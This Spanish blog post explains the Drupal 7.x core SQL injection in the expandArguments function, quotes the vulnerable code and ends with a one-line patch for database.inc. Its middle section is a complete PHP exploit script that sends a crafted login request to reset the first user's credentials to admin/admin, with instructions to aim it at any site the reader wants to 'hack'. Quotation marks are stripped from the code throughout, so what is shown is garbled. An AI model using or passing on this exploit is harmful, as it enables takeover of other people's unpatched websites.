Vulnerabilidad Drupal 7.x SQL Injection a Detalle!

Hace unas semanas, salio la vulnerabilidad critica de Drupal 7.x en donde un investigador de Seguridad Stefan Horst, encontraba un SQL Injeccion en CORE de Drupal, lo que se le clasifico la vulnerabilidad como CRITICA, pero aun así, muchas sitios web con Drupal , no han actualizado.
Cualquiera puede usar esta vulnerabilidad para ejecutar código PHP en su servidor, eliminar todo, infectar su sitio web con virus, cambiar la contraseña, borrar sus mensajes (nodos) …

 

Un poco de fondo

Drupal es una plataforma de gestión de contenido de código abierto alimentar a millones de sitios web y aplicaciones. Está construido, usado, y con el apoyo de una comunidad activa y diversa de personas en todo el mundo.

Durante una auditoría de código para un cliente, Stefan Horst de “SektionEins GmbH” encontró una vulnerabilidad de inyección SQL en la forma en Drupal 7 núcleo maneja declaraciones preparadas.
Un usuario malintencionado puede inyectar consultas SQL arbitrarias, y en algunos servidores de escribir un archivo PHP ejecutable en cualquier lugar en el servidor.
<?php
protected function expandArguments(&$query, &$args) {
$modified = FALSE;
// If the placeholder value to insert is an array, assume that we need
// to expand it out into a comma-delimited set of placeholders.
foreach (array_filter($args, is_array) as $key => $data) {
$new_keys = array();
foreach ($data as $i => $value) {
// This assumes that there are no other placeholders that use the same
// name. For example, if the array placeholder is defined as :example
// and there is already an :example_2 placeholder, this will generate
// a duplicate key. We do not account for that as the calling code
// is already broken if that happens.
$new_keys[$key . _ . $i] = $value;
}
// Update the query with the new placeholders.
// preg_replace is necessary to ensure the replacement does not affect
// placeholders that start with the same exact text. For example, if the
// query contains the placeholders :foo and :foobar, and :foo has an
// array of values, using str_replace would affect both placeholders,
// but using the following preg_replace would only affect :foo because
// it is followed by a non-word character.
$query = preg_replace(# . $key . \b#, implode(, , array_keys($new_keys)), $query);
// Update the args array with the new placeholders.
unset($args[$key]);
$args += $new_keys;
$modified = TRUE;
}
return $modified;
}

Arriba está la función que Drupal 7 utilizada para manejar comandos preparados, específicamente para expandir matrices.

<?php

db_query(SELECT * FROM {users} where name IN (:name), array(:name=>array(user1,user2)));
//SELECT * from users where name IN (:name_0, :name_1)
db_query(SELECT * FROM {users} where name IN (:name), array(:name=>array(test — => user1,test => user2)));
//SELECT * FROM users WHERE name = :name_test — , :name_test AND status = 1

En el código anterior, se puede ver la función en acción. Los expandArguments función supone que se llama con una matriz que no tiene llaves.

El primer ejemplo es el código normal, que seleccionará dos usuarios con nombres en NAME_0 y name_1.

El segundo ejemplo muestra la vulnerabilidad. Si expandArguments se llama con una matriz que tiene llaves que no son números enteros, que incorpora la llave en la consulta, tratándolo como un valor.

Exploit:

<?php
/********************************************************
* Drupal 7 SQL Injection vulnerability demo
* Created by Milan Kragujevic (of milankragujevic.com)
* Read more at http://milankragujevic.com/post/66
* This will change the first user’s username to admin
* and their password to admin
* Change $url to the website URL
********************************************************/
$url = [URL HERE]; // URL of the website (http://domain.com/)
$post_data = name[0%20;update+users+set+name%3D’admin’+,+pass+%3d+’ . urlencode($S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g) . ‘+where+uid+%3D+’1’;;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in;
$params = array(
http => array(
method => POST,
header => Content-Type: application/x-www-form-urlencoded\r\n,
content => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . ?q=node&destination=node, null, $ctx);
if(stristr($data, mb_strlen() expects parameter 1 to be string) && $data) {
echo Success! Log in with username \”admin\” and password \”admin\” at {$url}user/login;
} else {
echo Error! Either the website isn’t vulnerable, or your Internet isn’t working. ;
}

Guarde la secuencia de comandos en alguna parte , abrelo y actualizar variable $url a la dirección URL del sitio web que desea “hackear” y luego ejecutarlo, ya sea mediante la apertura en su navegador web o mediante la ejecución de php [scripname].php

Si se muestra un error!, que significa que, o bien la página web fue parcheado, la URL que has introducido no es válido o está en formato incorrecto (no se olvide de http: //) o, simplemente, su Internet no está funcionando.

Solucion Simple:
Si usted está funcionando un sitio web en Drupal, y realmente importante tiene miedo de actualizar debido a problemas de compatibilidad, sólo actualize includes/database/database.inc de la siguiente manera:

Vuelva a colocar la línea 739:

foreach ($data as $i => $value) {

con el siguiente codigo:

foreach (array_values($data) as $i => $value) {

Fuente -> https://websecuritydev.com/blog/vulnerabilidad-drupal-7-x-sql-injection-detalle/

¡Déjanos una respuesta!